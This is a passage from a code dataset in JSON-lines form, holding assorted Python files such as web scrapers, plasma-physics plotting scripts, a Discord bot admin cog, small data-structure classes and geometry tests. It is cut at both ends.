if len(new_result[manager_name]['all_companies']) > 100:\r\n print('wait some time')\r\n time.sleep(60)\r\n return result_dict\r\n\r\ndef track(manager_keyword):\r\n '''\r\n :param manager_keyword: 输入基金管理人全程或关键字\r\n :return: Dict{基金管理人:{'wanted_companies': 符合要求公司, 'all_companies': 旗下所有公司}}\r\n '''\r\n manager_dict = simu.search_manager(manager_keyword)\r\n result = {}\r\n wanted_companies = []\r\n all_companies = []\r\n for manager in list(manager_dict.keys()):\r\n for assets in manager_dict[manager]:\r\n time.sleep(1)\r\n company_list = qcc.all_companies(assets.encode('utf8'))\r\n wanted_companies += company_list[0]\r\n all_companies += company_list[1]\r\n wanted_companies = list(set(wanted_companies))\r\n all_companies = list(set(all_companies))\r\n print('结果:')\r\n print('-----------------所有公司--------------------')\r\n for a in all_companies:\r\n print(a.decode('utf8'))\r\n print('------------------符合要求-------------------')\r\n for w in wanted_companies:\r\n print(w.decode('utf8'))\r\n print('\\n\\n')\r\n result[manager_keyword] = {'wanted_companies': wanted_companies, 'all_companies': all_companies}\r\n return result\r\n\r\ndef test(company_name):\r\n pass\r\n\r\nif __name__ == '__main__':\r\n # print 1\r\n # print json.dumps(convert_to_dict('杭州维思投资合伙企业(有限合伙)'))\r\n # test2()\r\n # test('深圳同创伟业资产管理股份有限公司')\r\n # test('上海德同诚鼎股权投资基金管理有限公司')\r\n # test('广州德同广报投资管理有限公司')\r\n # track(raw_input('输入基金管理人名称:'))\r\n # track('浙商万嘉(北京)创业投资管理有限公司')\r\n track('杭州维思投资合伙企业')\r\n # print white_list_track()\r\n pass\r\n","sub_path":"Django_Projects/wotou/wotoudjango/wotu/spiders/track_asset/spider_track_asset.py","file_name":"spider_track_asset.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"515806591","text":"import sys, re\nimport matplotlib.pyplot as plt\n\ndef parse (filename):\n bw = []\n rex = r'^.* bw = ([\\d.]+) mbps.*$'\n with open (filename, 'r') as fdi:\n lines = fdi.readlines ()\n\n for line in lines:\n m = re.match (rex, line)\n\n if m:\n bw.append (float (m.group (1)))\n\n return bw [:-1]\n\ndef plot (data):\n xAxis = range (0, len (data))\n plt.bar (xAxis, data, width = 0.6, color = 'red', edgecolor = 'k', lw = 0.75, ls = '--', align = 'edge')\n plt.ylabel (\"Bandwidth (MB/s)\", fontweight = 'bold', fontsize = 'x-large')\n plt.xlabel (\"Time (sec)\", fontweight = 'bold', fontsize = 'x-large')\n plt.title (\"Ratio Based MemGuard Throttling\", fontweight = 'bold', fontsize = 'xx-large')\n plt.grid (axis = 'y', color = 'grey', ls = '--')\n plt.savefig ('gpu_map.pdf', bbox_inches = 'tight')\n\n return\n\n\ndef main ():\n filename = sys.argv [1]\n\n bw = parse (filename)\n plot (bw)\n\n return\n\nif __name__ == '__main__':\n main ()\n\n","sub_path":"bench/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"239527766","text":"from bs4 import BeautifulSoup\nimport re, urllib.parse\nimport urllib.request\n\n\nclass HtmlParser(object):\n\n def _get_new_urls(self, url, soup):\n new_urls = set()\n new_pages_urls = set()\n try:\n links = soup.find_all('a', href=re.compile(r'.*/index.php\\?s=/home/xwzx/detail/id/\\d+\\.html'))\n for link in links:\n new_url = link['href']\n new_full_url = urllib.parse.urljoin(url, new_url)\n new_urls.add(new_full_url)\n except:\n new_urls = None\n try:\n pages_links = soup.find_all('a', href=re.compile(r'/index.php\\?s=/home/xwzx/lists/category/tzgg/p/\\d+\\.html'))\n for link in pages_links:\n new_url = link['href']\n new_full_url = urllib.parse.urljoin(url, new_url)\n new_pages_urls.add(new_full_url)\n except:\n new_pages_urls = None\n return new_urls, new_pages_urls\n\n def _get_new_data(self, url, soup):\n try:\n data = {}\n data['content'] = ''\n data['url'] = url\n tmp = soup.find('div', class_='right_con')\n title_node = tmp.find('div', class_='news_view_t')\n data['title'] = title_node.get_text()\n time_node = tmp.find('div', class_='news_view_cs')\n data['time'] = re.search(r'\\d{4}-\\d{2}-\\d{2}', time_node.get_text()).group()\n cont_nodes = tmp.find('div', class_='news_view').find_all('p')\n for cont_node in cont_nodes:\n data['content'] += cont_node.get_text()\n return data\n except:\n return None\n\n def parse(self, url, cont):\n if url is None or cont is None:\n return\n soup = BeautifulSoup(cont, 'html.parser', from_encoding='utf-8')\n new_urls, new_pages_urls = self._get_new_urls(url, soup)\n new_data = self._get_new_data(url, soup)\n return new_urls, new_pages_urls, new_data\n\n\n\"\"\"\nif __name__ == '__main__':\n tmp = HtmlParser()\n response = urllib.request.urlopen('http://cse.whu.edu.cn/index.php?s=/home/xwzx/detail/id/411.html')\n if response.getcode() != 200:\n print('Open Error')\n exit()\n print(tmp.parse('http://cse.whu.edu.cn/index.php?s=/home/xwzx/detail/id/411.html', response.read()))\n\"\"\"","sub_path":"2nd/myproject/spider/spider_core_code/html_parser.py","file_name":"html_parser.py","file_ext":"py","file_size_in_byte":2331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"318281877","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport pickle\n\n# Load data\npath_to_files = '/afs/ipp-garching.mpg.de/home/o/osam/workspace/python3_projects/Simple_ST_model/'\n\n## Load the experimental data\ndf = pd.read_csv(path_to_files + 'statistics_united.csv')\n\n### !Assumption: where fE undefined (equals to '-'), make fE=fB\ndf.loc[df['fE [kHz]'] == '-', 'fE [kHz]'] = list(df[df['fE [kHz]']=='-']['fB [kHz]'])\ndf['fE [kHz]'] = df['fE [kHz]'].astype(float)\n### create (fB+fE)/2\ndf['(fB+fE)/2 [kHz]'] = (np.array(df['fB [kHz]']).astype(float) +\n np.array(df['fE [kHz]']).astype(float))/2.0\n\n## Load the Simple Sawtooth model data\nnu_local = 5 # kHz\n## alpha = 90\n### local\n# with open(path_to_files+'tor_loc_alpha_90.pickle', 'rb') as file: \n # tor_loc_alpha_90 = pickle.load(file, encoding=\"bytes\")\nwith open(path_to_files+'tor_loc_alpha_90_vChi_%02d.pickle' %(nu_local), 'rb') as file: \n tor_loc_alpha_90 = pickle.load(file, encoding=\"bytes\")\n### global\n# with open(path_to_files+'tor_glob_alpha_90.pickle', 'rb') as file: \n # tor_glob_alpha_90 = pickle.load(file, encoding=\"bytes\")\nwith open(path_to_files+'tor_glob_alpha_90_vChi_%02d.pickle' %(nu_local), 'rb') as file: \n tor_glob_alpha_90 = pickle.load(file, encoding=\"bytes\")\n \n \nwith open(path_to_files+'tor_l_Munsat_alpha_90_vChi_%02d_dchi_120.pickle' %(nu_local), 'rb') as file: \n tor_Muns_alpha_90 = pickle.load(file, encoding=\"bytes\")\n \nidx_crash = 2\nt_crash_array = np.array([25e-6, 50e-6, 100e-6, 150e-6, 200e-6]) # micro sec\nt_crash_use = t_crash_array[idx_crash]\nlabel_tcrash = [25, 50, 100, 150, 200][idx_crash]\nglob_freq_90 = tor_glob_alpha_90[t_crash_use]['nu_mode_array']*1e-3\nglob_stats_90 = tor_glob_alpha_90[t_crash_use]['stats_array']\nloc_freq_90 = tor_loc_alpha_90[t_crash_use]['nu_mode_array']*1e-3\nloc_stats_90 = tor_loc_alpha_90[t_crash_use]['stats_array']\nMunsat_freq_90 = tor_Muns_alpha_90[t_crash_use]['nu_mode_array']*1e-3\nMunsat_stats_90 = tor_Muns_alpha_90[t_crash_use]['stats_array']\n\nidx = np.where((glob_freq_90 > 0.3)&(glob_freq_90 <= 1.0))[0]\nglob_freq_90[idx]\n\n# Choose the frequency ranges for the statistic\n# freqs = [0.3,1.0,2.0,4.0,8.0,10.0,11.5]\n# freqs = [0.5,1.5,2.5,3.5,4.5,5.5,6.5,7.5,8.5,9.5,10.5,11.5]\nfreqs = [0.5,1.5,2.5,3.5,4.5,6.0,7.0,8.5,9.5,10.5,11.5]\n# freqs = [0.5,1.0,1.5,2.0,2.5,3.0,3.5,4.0,4.5,5.0,\n # 5.5,6.0,6.5,7.0,7.5,8.0,8.5,9.0,9.5,10.0,\n # 10.5,11.0,11.5]\n\n# filter the data\nNN_freq = len(freqs)\nranges_names = []\nNN_STcrash = []\nStat_array_exp = []\nStat_array_gl_model = []\nStat_array_loc_model = []\nStat_array_Muns_model = []\nidx_f = 2\nfreq_to_analyze = ['fB [kHz]','fE [kHz]','(fB+fE)/2 [kHz]'][idx_f]\nlabel_of_freq = ['fB','fE','(fB+fE)/2'][idx_f]\n\nfor i in range(NN_freq - 1):\n # experimental data\n ranges_names.append(\"%0.2gfreqs[i])&\n (df[freq_to_analyze]<=freqs[i+1])]\n if '+' in list(crashes_within_freqs['Crash in ECEI']):\n stat = crashes_within_freqs['Crash in ECEI'].value_counts(normalize=True)['+']\n stat = np.round(stat,3)\n else:\n stat = 0.0\n Stat_array_exp.append(stat)\n NN_STcrash.append(len(crashes_within_freqs[freq_to_analyze]))\n # models data\n idxs_model = np.where((glob_freq_90 > freqs[i]) & \n (glob_freq_90 <= freqs[i+1]))[0]\n stat_gl_model = np.mean(glob_stats_90[idxs_model])\n stat_gl_model = np.round(stat_gl_model,3)\n stat_loc_model = np.mean(loc_stats_90[idxs_model])\n stat_loc_model = np.round(stat_loc_model,3)\n stat_Muns_model = np.mean(Munsat_stats_90[idxs_model])\n stat_Muns_model = np.round(stat_Muns_model,3)\n Stat_array_gl_model.append(stat_gl_model)\n Stat_array_loc_model.append(stat_loc_model)\n Stat_array_Muns_model.append(stat_Muns_model)\n\n# create dataframe for the selected frequency ranges:\n## experiment\ndf_exp = pd.DataFrame()\ndf_exp['freq range'] = ranges_names\ndf_exp['Stat crash in ECEI'] = Stat_array_exp\ndf_exp['NN crashes'] = NN_STcrash\n\n## model\ndf_gl_mod = pd.DataFrame()\ndf_gl_mod['freq range'] = ranges_names\ndf_gl_mod['Stat crash in ECEI'] = Stat_array_gl_model\n\ndf_loc_mod = pd.DataFrame()\ndf_loc_mod['freq range'] = ranges_names\ndf_loc_mod['Stat crash in ECEI'] = Stat_array_loc_model\n\n\ndf_Muns_mod = pd.DataFrame()\ndf_Muns_mod['freq range'] = ranges_names\ndf_Muns_mod['Stat crash in ECEI'] = Stat_array_Muns_model\n\n###########################################################\n# Munsat model\n\n# take average frequncies (because the model is linear)\nf_mode_Munsat = np.zeros(len(freqs)-1)\nfor i in range(len(freqs)-1):\n f_mode_Munsat[i] = (freqs[i] + freqs[i+1])/2\n \nf_mode_Munsat *= 1e3\ndtheta_win = 90 # degree\ndtheta_rec = 15 # degree\ndphi_rec = 120 # degree\n\n# def P_Munsat(f_mode, t_crash, dtheta_win, dtheta_rec, dphi_rec):\n # all angles are in degrees\n # other values are in SI\n # P = t_crash*f_mode*((dtheta_win + dtheta_rec + dphi_rec)/360.0)\n # return P\n\n\ndef P_Munsat(f_mode, t_crash, dtheta_win, dtheta_rec, dphi_rec):\n # all angles are in degrees\n # other values are in SI\n P = np.zeros_like(f_mode)\n for i in range(len(f_mode)):\n if (t_crash*f_mode[i] <= 1.0):\n P[i] = t_crash*f_mode[i]*((dtheta_win + dtheta_rec + dphi_rec)/360.0)\n if (t_crash*f_mode[i] > 1.0):\n P[i] = ((dtheta_win + dtheta_rec + dphi_rec)/360.0)\n return P\n\nP_Mun_Calc = P_Munsat(f_mode_Munsat, t_crash_use, dtheta_win, dtheta_rec, dphi_rec)\nP_Mun_Calc[P_Mun_Calc > 1.0] = 1.0\n\n###########################################################\n# Plot\n# labels = ['<= 2', '2.01 - 4', '4.01 - 6', '6.01 - 8', '8.01 - 10', '10.01 - 11','>11']\nx = np.arange(len(ranges_names)) # the label locations\nwidth = 0.25 # the width of the bars\n\n# plt.plot(x, df_loc_mod['Stat crash in ECEI'])\nfig, ax = plt.subplots(dpi=200)\n\nax.yaxis.grid()\n# rects0 = ax.bar(x - width, df_loc_mod['Stat crash in ECEI'], width,color=\"blue\", label='local magn. rec., f=%g kHz'%(nu_local))\nrects1 = ax.bar(x - width , df_exp['Stat crash in ECEI'], width,color=\"orange\", label='experiment (%s)'%(label_of_freq))\nrects2 = ax.bar(x, df_gl_mod['Stat crash in ECEI'], width,color=\"darkred\", label='global magn. rec.')\n# rects3 = ax.bar(x + 2*width, P_Mun_Calc, width,color=\"gray\",\n # label=r'Munsat, $\\Delta \\phi_{rec}$=%g$\\degree$'%(dphi_rec))\n# rects4 = ax.bar(x[5] + 2*width, P_Mun_Calc[5], width,color=\"greenyellow\",\n # label=r'Munsat, $\\Delta \\phi_{rec}$=%g$\\degree$, f=6.5 kHz'%(dphi_rec))\nrects5 = ax.bar(x + width, df_Muns_mod['Stat crash in ECEI'], width,color=\"black\", label=r'loc. magn. rec. $d \\chi=120\\degree=const$')\n\n# Add some text for labels, title and custom x-axis tick labels, etc.\nax.set_ylabel('Probability of observation by ECEI')\nax.set_xlabel('Mode freq [kHz]')\n\nax.set_title(r'Experiment vs model (t_crash=%d $\\mu s$, $\\Delta \\theta_{ECEI}$=%g$\\degree$, $\\Delta \\theta_{rec}$=%g$\\degree$)' %(label_tcrash, dtheta_win, dtheta_rec))\nax.set_xticks(x)\nax.set_xticklabels(ranges_names)\nax.tick_params(axis='x', rotation=45)\nax.legend(prop={'size': 9})\n\nfor i, v in enumerate(df_exp['NN crashes']):\n ax.text(x[i] - .3, df_exp['Stat crash in ECEI'][i] + .005,\n \"ST: %d\"%(df_exp['NN crashes'][i]), color='black',\n fontweight='bold', fontsize = 8)\n\npath_to_save = '/afs/ipp-garching.mpg.de/home/o/osam/Sawtooth_crash/new_statistics/Statistic_Munsat/'\n \n# plt.savefig(path_to_save+'Model_vs_Exp_equal_freq_100_vChi_%02d.pdf' %(nu_local), bbox_inches='tight')\n# plt.savefig(path_to_save+'Model_vs_Exp_equal_freq_150.png', bbox_inches='tight')\n\n# plt.savefig(path_to_save+'Model_vs_Exp_default_150.pdf', bbox_inches='tight')\n# plt.savefig(path_to_save+'Model_vs_Exp_default_150.png', bbox_inches='tight')\n\n# plt.savefig(path_to_save+'Model_vs_Exp_change_150.pdf', bbox_inches='tight')\n# plt.savefig(path_to_save+'Model_vs_Exp_change_150.png', bbox_inches='tight')\n\n# plt.savefig(path_to_save+'Model_vs_Exp_equal_freq2_100_vChi_%02d.pdf' %(nu_local), bbox_inches='tight')\n\n# plt.savefig(path_to_save+'Model_vs_Exp_equal_freq2_100_vChi_%02d_dphi%02d_mod.pdf' %(nu_local,dphi_rec), bbox_inches='tight')\n\nplt.savefig('Model_vs_Exp_HEPP_20min.png', bbox_inches='tight')\n\n\nplt.show()\n\n# plt.close()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"python3_projects/Simple_ST_model/plot_stat_HEPP_20min.py","file_name":"plot_stat_HEPP_20min.py","file_ext":"py","file_size_in_byte":8314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"173115033","text":"import discord\nfrom discord.ext import commands\n\nadmins = [356091260429402122, 373797591395205122, 395938979293167617, 270624053809643522, 353978827157929987, 222005168147922944, 147874400836911104, 278269289960833035, 291215916916801536, 213045557181022209]\n\ndef is_admin():\n\tasync def predicate(ctx):\n\t\treturn ctx.author.id in admins\n\treturn commands.check(predicate)\n\nclass Admin:\n\n\tdef __init__(self, bot):\n\t\tself.bot = bot\n\n\t@is_admin()\n\t@commands.command(description=\"Gift money!\", hidden=True)\n\tasync def admingive(self, ctx, money: int, other: discord.Member=None):\n\t\tif other is None:\n\t\t\tawait ctx.send(\"Uh, you entered no Member! Use a mention!\")\n\t\t\treturn\n\t\tasync with self.bot.pool.acquire() as conn:\n\t\t\tasync with conn.cursor() as cur:\n\t\t\t\ttry:\n\t\t\t\t\tawait cur.execute('UPDATE profile SET money=money+%s WHERE \"user\"=%s;', (money, other.id,))\n\t\t\t\t\tawait ctx.send(f\"Successfully gave **${money}** without a loss for you to {other.mention}.\")\n\t\t\t\texcept:\n\t\t\t\t\tawait ctx.send(\"That person doesn't have a character.\")\n\t\tchannel = self.bot.get_channel(457197748626653184)\n\t\tawait channel.send(f\"{ctx.author.mention} gave **${money}** to **{other}**.\")\n\n\t@is_admin()\n\t@commands.command(description=\"Delete money!\", hidden=True)\n\tasync def adminremove(self, ctx, money: int, other: discord.Member=None):\n\t\tif other is None:\n\t\t\tawait ctx.send(\"Uh, you entered no Member! Use a mention!\")\n\t\t\treturn\n\t\tasync with self.bot.pool.acquire() as conn:\n\t\t\tasync with conn.cursor() as cur:\n\t\t\t\ttry:\n\t\t\t\t\tawait cur.execute('UPDATE profile SET money=money-%s WHERE \"user\"=%s;', (money, other.id))\n\t\t\t\t\tawait ctx.send(f\"Successfully removed **${money}** from {other.mention}.\")\n\t\t\t\texcept:\n\t\t\t\t\tawait ctx.send(\"That person doesn't have a character.\")\n\t\tchannel = self.bot.get_channel(457197748626653184)\n\t\tawait channel.send(f\"{ctx.author.mention} removed **${money}** from **{other}**.\")\n\n\n\t@is_admin()\n\t@commands.command(description=\"Deletes a character.\", hidden=True)\n\tasync def admindelete(self, ctx, other:discord.Member=None):\n\t\tif other is None:\n\t\t\tawait ctx.send(\"Uh, you entered no Member! Use a mention!\")\n\t\t\treturn\n\t\tif other.id in admins:\n\t\t\treturn await ctx.send(\"Very funny...\")\n\t\tasync with self.bot.pool.acquire() as conn:\n\t\t\tasync with conn.cursor() as cur:\n\t\t\t\tawait cur.execute('SELECT * FROM profile WHERE \"user\"=%s;', (other.id,))\n\t\t\t\tret = []\n\t\t\t\tasync for row in cur:\n\t\t\t\t\tret.append(row)\n\t\t\t\tif ret==[]:\n\t\t\t\t\tawait ctx.send(\"That person doesn't have a character.\")\n\t\t\t\telse:\n\t\t\t\t\tawait cur.execute('DELETE FROM profile WHERE \"user\"=%s;', (other.id,))\n\t\t\t\t\tawait ctx.send(\"Successfully deleted the character.\")\n\t\tchannel = self.bot.get_channel(457197748626653184)\n\t\tawait channel.send(f\"{ctx.author.mention} deleted **{other}**.\")\n\n\n\t@is_admin()\n\t@commands.command(description=\"Changes a character name\")\n\tasync def adminrename(self, ctx, target: discord.User):\n\t\tif target.id in admins:\n\t\t\treturn await ctx.send(\"Very funny...\")\n\t\tasync with self.bot.pool.acquire() as conn:\n\t\t\tasync with conn.cursor() as cur:\n\t\t\t\ttry:\n\t\t\t\t\tawait cur.execute('SELECT * from profile WHERE \"user\"=%s;', (target.id,))\n\t\t\t\texcept:\n\t\t\t\t\tawait ctx.send(\"An error occured when the character's data.\")\n\t\t\t\tret = []\n\t\t\t\tasync for row in cur:\n\t\t\t\t\tret.append(row)\n\t\t\t\tif ret==[]:\n\t\t\t\t\tawait ctx.send(\"That person hasn't got a character yet.\")\n\t\t\t\telse:\n\t\t\t\t\tawait ctx.send(\"What shall the character's name be? (Minimum 3 Characters, Maximum 20)\")\n\t\t\t\t\ttry:\n\t\t\t\t\t\tdef mycheck(amsg):\n\t\t\t\t\t\t\treturn amsg.author==ctx.author\n\t\t\t\t\t\tname = await self.bot.wait_for('message', timeout=60, check=mycheck)\n\t\t\t\t\t\tif name is not None:\n\t\t\t\t\t\t\tname = name.content.strip()\n\t\t\t\t\t\tif len(name)>2 and len(name)<21:\n\t\t\t\t\t\t\tawait cur.execute('UPDATE profile SET \"name\"=%s WHERE \"user\"=%s;', (name, target.id,))\n\t\t\t\t\t\t\tawait ctx.send(\"Character name updated.\")\n\t\t\t\t\t\telif len(name)<3:\n\t\t\t\t\t\t\tawait ctx.send(\"Character names must be at least 3 characters!\")\n\t\t\t\t\t\telif len(name)>20:\n\t\t\t\t\t\t\tawait ctx.send(\"Character names mustn't exceed 20 characters!\")\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tawait ctx.send(\"An unknown error occured while checking the name. Try again!\")\n\t\t\t\t\texcept:\n\t\t\t\t\t\tawait ctx.send(f\"Timeout expired. Enter `{ctx.prefix}{ctx.command}` again to retry!\")\n\t\tchannel = self.bot.get_channel(457197748626653184)\n\t\tawait channel.send(f\"{ctx.author.mention} renamed **{target}** to **{name}**.\")\n\n\ndef setup(bot):\n\tbot.add_cog(Admin(bot))\n","sub_path":"cogs/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":4402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"201732325","text":"import pytest\nimport skil\n\n\nwork_space = None # because number of workspaces is limited\n_sk = None\n\n\ndef _get_sk():\n global _sk\n if _sk is None:\n _sk = skil.Skil()\n return _sk\n\n\ndef _get_ws():\n global work_space\n if work_space is not None:\n return work_space\n sk = _get_sk()\n work_space = skil.WorkSpace(sk)\n return work_space\n\n\ndef test_work_space_deletion():\n sk = _get_sk()\n work_space = skil.WorkSpace(sk)\n work_space.delete()\n\n\ndef test_experiment_deletion():\n ws = _get_ws()\n exp = skil.Experiment(ws)\n exp.delete()\n\n\ndef test_model_deletion():\n model = skil.Model('keras_mnist.h5')\n model.delete()\n\n\ndef test_transform_deletion():\n transform = skil.Transform('iris_tp.json')\n transform.delete()\n\n\ndef test_deployment_deletion():\n dep = skil.Deployment()\n dep.delete()\n\n\nif __name__ == '__main__':\n pytest.main([__file__])\n","sub_path":"tests/integration/test_deletion.py","file_name":"test_deletion.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"286512954","text":"#\n# Suffix Array\n#\n# Suffix array is simply an alphabetically sorted array of all possible\n# suffixes of a single, given string. It is useful for pattern searching\n# and for problems such as Longest Repeated Substring. Worth noting\n# that it is a alternate data structure in place of a suffix tree.\n#\n# Joel Rorseth\n#\n\n# Suffix Array construction is O(n lgn)\nclass SuffixArray:\n\n def __init__(self, s):\n self.string = s\n self.isuffixes = sorted(range(len(s)), key=lambda i: s[i:])\n\n def list(self):\n for i in self.isuffixes:\n print(self.string[i:])\n\n # LCP of two suffixes starting at given indices\n def lcp(self, i, j):\n longest = \"\"\n n = len(self.string)\n while i < n and j < n and self.string[i]==self.string[j]:\n longest += self.string[i]\n i += 1\n j += 1\n return longest\n\n","sub_path":"Python Snippets/Data Structures/suffix_array.py","file_name":"suffix_array.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"258319638","text":"from itertools import groupby\n\nclass UniversitySubjectParserMixin: \n \"\"\"\n Mixin that provides method for parsing subjects from specific university\n \"\"\"\n\n def parse_sorted_university_subjects(self):\n data = []\n sorted_subjects = self.subjects.select_related(\"group__sector\") \n sorted_subjects = sorted(sorted_subjects, key = lambda s : s.sector.id)\n iter = groupby(sorted_subjects, key = lambda s : s.sector)\n for sector, subjects in iter:\n parsed_sector = sector.parse_profile()\n inner_iter = groupby(subjects, key = lambda s : s.group)\n group_list = []\n for group, inner_subjects in inner_iter:\n parsed_group = group.parse_profile()\n parsed_subject_list = group.parse_all_subject_profiles()\n group_list.append({\"group\" : parsed_group, \"subjects\" : parsed_subject_list})\n data.append({\"sector\" : parsed_sector , \"groups\" : group_list})\n return data\n\n def parse_university_subjects_of_group(self, group):\n subject_queryset = self.subjects.filter(group = group)\n subject_list = [subject.parse_profile() for subject in subject_queryset]\n return subject_list","sub_path":"university/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"561556630","text":"#!/usr/bin/python3\n\"\"\" Base class \"\"\"\nfrom uuid import uuid4\nfrom datetime import datetime\nimport models\n\n\nclass BaseModel:\n \"\"\" Class: BaseModel \"\"\"\n\n def __init__(self, *args, **kwargs):\n \"\"\" Constructor \"\"\"\n self.id = str(uuid4())\n self.created_at = datetime.now()\n self.updated_at = datetime.now()\n\n if len(kwargs) > 0:\n convert = [\"created_at\", \"updated_at\"]\n for key, value in kwargs.items():\n if key in convert:\n setattr(self, key,\n datetime.strptime(value, \"%Y-%m-%dT%H:%M:%S.%f\"))\n elif key == \"__class__\":\n continue\n else:\n setattr(self, key, value)\n else:\n models.storage.new(self)\n\n def to_dict(self):\n \"\"\" returns a dictionary containing all keys/values of __dict__\"\"\"\n el_dict = self.__dict__\n dict_str = {}\n for key, value in el_dict.items():\n if isinstance(value, datetime):\n dict_str[key] = value.strftime(\"%Y-%m-%dT%H:%M:%S.%f\")\n else:\n dict_str[key] = value\n dict_str[\"__class__\"] = self.__class__.__name__\n return dict_str\n\n def __str__(self):\n \"\"\" Returns the string form of the class \"\"\"\n return (\"[{}] ({}) {}\".format(self.__class__.__name__,\n self.id, self.__dict__))\n\n def save(self):\n \"\"\" updates the attr updated_at with current datetime \"\"\"\n self.updated_at = datetime.now()\n models.storage.new(self)\n models.storage.save()\n\n @classmethod\n def all(cls):\n \"\"\" Prints all instances of the class by the console\"\"\"\n return \"all {}\".format(cls.__name__)\n\n @classmethod\n def count(cls):\n \"\"\" Returns the number of instances of a class \"\"\"\n return \"count {}\".format(cls.__name__)\n\n @classmethod\n def show(cls, __id=''):\n \"\"\"Returns the string representation of an instance\"\"\"\n return \"show {} {}\".format(cls.__name__, __id)\n\n @classmethod\n def destroy(cls, _id=''):\n \"\"\"Destroys an instance\"\"\"\n return \"destroy {} {}\".format(cls.__name__, _id)\n\n @classmethod\n def update(cls, _id='', attribute_name='', attribute_value=''):\n \"\"\"Updates an instance\"\"\"\n if type(attribute_name) is dict:\n if cls.__name__ + \".\" + _id in models.storage.all().keys():\n obj = models.storage.all().get('{}.{}'.\n format(cls.__name__, _id))\n for key, value in attribute_name.items():\n setattr(obj, key, value)\n models.storage.save()\n return \"\\n\"\n else:\n return \"update {} {}\".format(cls.__name__, _id)\n else:\n return \"update {} {} {} \\\"{}\\\"\".\\\n format(cls.__name__, _id, attribute_name, attribute_value)\n","sub_path":"models/base_model.py","file_name":"base_model.py","file_ext":"py","file_size_in_byte":2986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"119194140","text":"#!/usr/bin/python3\n\nimport sys\nimport json\n\nfor line in sys.stdin:\n doc = json.loads(line)\n\n tfidfs = doc['tfidf']\n topics = doc['topics']\n\n for topic in set(topics):\n for tfidf in set(tfidfs):\n print(\"{0}|{1}\\t{2}\".format(topic, tfidf, tfidfs[tfidf]))\n","sub_path":"workshop-1/task4/mapper.py","file_name":"mapper.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"492369961","text":"from math import sqrt\n\nclass Rectangle:\n def __init__(self, x, y, w, h):\n self.x = x\n self.y = y\n self.w = w\n self.h = h\n\n def area(self):\n \"\"\"Computes the area of a the rectangle\"\"\"\n width = self.w\n height = self.h\n return width*height\n\n def perimiter(self):\n \"\"\"Computes the perimiter of the rectangle\"\"\"\n width = self.w\n height = self.h\n return 2*(width + height)\n\nclass Triangle:\n def __init__(self, x0, y0, x1, y1, x2, y2):\n self.x0, self.y0 = x0, y0\n self.x1, self.y1 = x1, y1\n self.x2, self.y2 = x2, y2\n\n def area(self):\n \"\"\"Computes the area of the triangle\"\"\"\n x0 = self.x0\n y0 = self.y0\n x1 = self.x1\n y1 = self.y1\n x2 = self.x2\n y2 = self.y2\n \n return abs(0.5*(x1*y2 - x2*y1 - x0*y2 + x2*y0 + x0*y1 - x1*y0))\n\n def perimiter(self):\n \"\"\"Computes the perimiter of the triangle\"\"\"\n x0 = self.x0\n y0 = self.y0\n x1 = self.x1\n y1 = self.y1\n x2 = self.x2\n y2 = self.y2\n\n # The perimiter is computed by adding triangle adges found\n # using pythagoras theorem':\n # edge1 = sqrt((x0-x1)**2 + (y0 - y1)**2)\n # edge2 = sqrt((x1-x2)**2 + (y1 - y2)**2)\n # edge3 = sqrt((x0-x2)**2 + (y0 - y2)**2)\n return sqrt((x0-x1)**2 + (y0 - y1)**2) +\\\n sqrt((x1-x2)**2 + (y1 - y2)**2) +\\\n sqrt((x0-x2)**2 + (y0 - y2)**2)\n\ndef test_Rectable():\n rect = Rectangle(0, 0, 4, 2)\n tol = 1E-14\n\n expected_a = 8.\n expected_p = 12.\n\n actual_a = rect.area()\n actual_p = rect.perimiter() \n \n a_success = abs(actual_a - expected_a) < tol\n p_success = abs(actual_p - expected_p) < tol\n \n msg = 'Expected perimiter is %g, got %g. ' % (expected_p, actual_p) +\\\n 'Expected area is %g, got %g.' % (expected_a, actual_a)\n assert a_success and p_success,msg\n\n\ndef test_Triangle():\n tri = Triangle(0, 0, 0, 4, 3, 0)\n tol = 1E-14\n\n expected_a = 6.\n expected_p = 12.\n\n actual_a = tri.area()\n actual_p = tri.perimiter() \n \n a_success = abs(actual_a - expected_a) < tol\n p_success = abs(actual_p - expected_p) < tol\n \n msg = 'Expected perimiter is %g, got %g. ' % (expected_p, actual_p) +\\\n 'Expected area is %g, got %g.' % (expected_a, actual_a)\n assert a_success and p_success,msg\n \n\"\"\"\nTerminal> nosetests geometric_shapes.py\n..\n----------------------------------------------------------------------\nRan 2 tests in 0.001s\n\nOK\n\"\"\"\n","sub_path":"uio/INF1100/src/ch7/geometric_shapes.py","file_name":"geometric_shapes.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"259888012","text":"import streamlit as st\r\nfrom streamlit_option_menu import option_menu\r\nfrom PIL import Image\r\nimport source.title_1 as head\r\ndef square():\r\n head.title()\r\n st.markdown(\"

Problem Statement: Application to find the Square

\", unsafe_allow_html=True)\r\n st.markdown(\"
